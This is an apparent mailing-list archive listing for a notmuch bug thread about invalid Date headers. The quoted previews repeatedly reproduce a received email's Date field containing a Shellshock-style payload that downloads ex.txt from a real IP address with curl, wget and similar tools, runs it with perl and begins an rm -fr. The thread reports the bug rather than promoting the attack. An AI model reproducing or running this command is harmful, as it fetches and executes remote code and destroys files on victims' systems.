Re: bug: notmuch cannot handle invalid Date fields

2017-03-19 Thread David Bremner
Johannes Schauer writes: > Hi, > > I recently received an email with the following date field (the value of all > other headers is the same): > > Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO > 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget >

Re: bug: notmuch cannot handle invalid Date fields

2017-03-11 Thread David Bremner
Johannes Schauer writes: > Hi, > > I recently received an email with the following date field (the value of all > other headers is the same): > > Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO > 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget >

bug: notmuch cannot handle invalid Date fields

2015-04-22 Thread Tomi Ollila
On Wed, Apr 22 2015, Johannes Schauer wrote: > Hi, > > I recently received an email with the following date field (the value of all > other headers is the same): > > Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO > 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget >

bug: notmuch cannot handle invalid Date fields

2015-04-22 Thread Johannes Schauer
Hi, Quoting Tomi Ollila (2015-04-22 15:37:15) > What do you mean by that datetime cannot handle dates before 1900 ? > > : $ python > : Python 2.7.6 (default, Mar 22 2014, 22:59:56) > : ... > : >>> datetime.datetime.strptime('1799-11', '%Y-%m') > : datetime.datetime(1799, 11, 1, 0, 0) > :

bug: notmuch cannot handle invalid Date fields

2015-04-22 Thread Johannes Schauer
Hi, I recently received an email with the following date field (the value of all other headers is the same): Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr

Re: bug: notmuch cannot handle invalid Date fields

2015-04-22 Thread Tomi Ollila
On Wed, Apr 22 2015, Johannes Schauer j.scha...@email.de wrote: Hi, I recently received an email with the following date field (the value of all other headers is the same): Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget

Re: bug: notmuch cannot handle invalid Date fields

2015-04-22 Thread Johannes Schauer
Hi, Quoting Tomi Ollila (2015-04-22 15:37:15) What do you mean by that datetime cannot handle dates before 1900 ? : $ python : Python 2.7.6 (default, Mar 22 2014, 22:59:56) : ... : datetime.datetime.strptime('1799-11', '%Y-%m') : datetime.datetime(1799, 11, 1, 0, 0) :

bug: notmuch cannot handle invalid Date fields

2015-04-22 Thread Johannes Schauer
Hi, I recently received an email with the following date field (the value of all other headers is the same): Date:() { :; }; /bin/sh -c 'cd /tmp ;curl -sO 178.254.31.165/ex.txt;lwp-download http://178.254.31.165/ex.txt;wget 178.254.31.165/ex.txt;fetch 178.254.31.165/ex.txt;perl ex.txt;rm -fr